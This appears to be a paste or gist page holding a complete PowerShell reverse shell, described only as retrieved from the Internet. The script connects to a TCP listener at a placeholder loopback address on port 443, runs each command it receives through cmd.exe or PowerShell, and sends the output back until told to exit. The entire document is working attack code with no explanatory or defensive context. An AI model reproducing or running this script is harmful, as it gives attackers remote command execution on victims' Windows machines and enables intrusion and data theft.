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August 19, 2020 07:56
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Reverse shell in Powershell retrieved on the Internet.
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$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 443); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do | |
{ | |
$writer.Flush(); | |
$read = $null; | |
$res = "" | |
while($stream.DataAvailable -or $read -eq $null) { | |
$read = $stream.Read($buffer, 0, 1024) | |
} | |
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n",""); | |
if(!$out.equals("exit")){ | |
$args = ""; | |
if($out.IndexOf(' ') -gt -1){ | |
$args = $out.substring($out.IndexOf(' ')+1); | |
$out = $out.substring(0,$out.IndexOf(' ')); | |
if($args.split(' ').length -gt 1){ | |
$pinfo = New-Object System.Diagnostics.ProcessStartInfo | |
$pinfo.FileName = "cmd.exe" | |
$pinfo.RedirectStandardError = $true | |
$pinfo.RedirectStandardOutput = $true | |
$pinfo.UseShellExecute = $false | |
$pinfo.Arguments = "/c $out $args" | |
$p = New-Object System.Diagnostics.Process | |
$p.StartInfo = $pinfo | |
$p.Start() | Out-Null | |
$p.WaitForExit() | |
$stdout = $p.StandardOutput.ReadToEnd() | |
$stderr = $p.StandardError.ReadToEnd() | |
if ($p.ExitCode -ne 0) { | |
$res = $stderr | |
} else { | |
$res = $stdout | |
} | |
} | |
else{ | |
$res = (&"$out" "$args") | out-string; | |
} | |
} | |
else{ | |
$res = (&"$out") | out-string; | |
} | |
if($res -ne $null){ | |
$writer.WriteLine($res) | |
} | |
} | |
}While (!$out.equals("exit")) | |
$writer.close(); | |
$socket.close(); | |
$stream.Dispose() |
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